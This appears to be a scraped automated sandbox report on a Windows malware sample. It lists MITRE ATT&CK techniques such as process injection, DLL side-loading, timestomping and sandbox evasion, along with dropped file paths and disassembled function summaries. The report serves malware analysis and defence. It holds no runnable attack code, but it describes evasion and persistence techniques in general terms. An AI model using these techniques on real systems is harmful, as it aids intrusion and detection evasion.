Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report GdGXG0bnxH.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Other

Sigma Signatures

Spreading

System Summary

Data Obfuscation

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\IXP000.TMP\675c87f6bfee1.vbs

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_10gphrwu.oh5.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_50u4q4dw.krp.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_djdbg232.2ik.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dwjmcyp4.eqh.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gltkmoh0.b1d.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ojxp3lrj.mae.psm1

Static File Info

General

File Icon

Static PE Info

General

Windows Analysis Report
GdGXG0bnxH.exe

Function 00007FF7E6E840C4 Relevance: 54.6, APIs: 17, Strings: 14, Instructions: 371
libraryloaderCOMMON

Function 00007FF7E6E81D28 Relevance: 42.2, APIs: 16, Strings: 8, Instructions: 183
registrylibrarymemoryCOMMON

Function 00007FF7E6E81684 Relevance: 37.1, APIs: 10, Strings: 11, Instructions: 350
memoryCOMMON

Function 00007FF7E6E866C4 Relevance: 35.3, APIs: 14, Strings: 6, Instructions: 299
memorystringCOMMON

Function 00007FF7E6E82DB4 Relevance: 28.2, APIs: 10, Strings: 6, Instructions: 179
synchronizationCOMMON

Function 00007FF7E6E86CA4 Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 215
windowCOMMON

Function 00007FF7E6E85D90 Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 124
windowCOMMON

Function 00007FF7E6E830EC Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 151
libraryfileloaderCOMMON

Function 00007FF7E6E864E4 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 123
COMMON

Function 00007FF7E6E82C54 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 84
libraryloadershutdownCOMMON

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre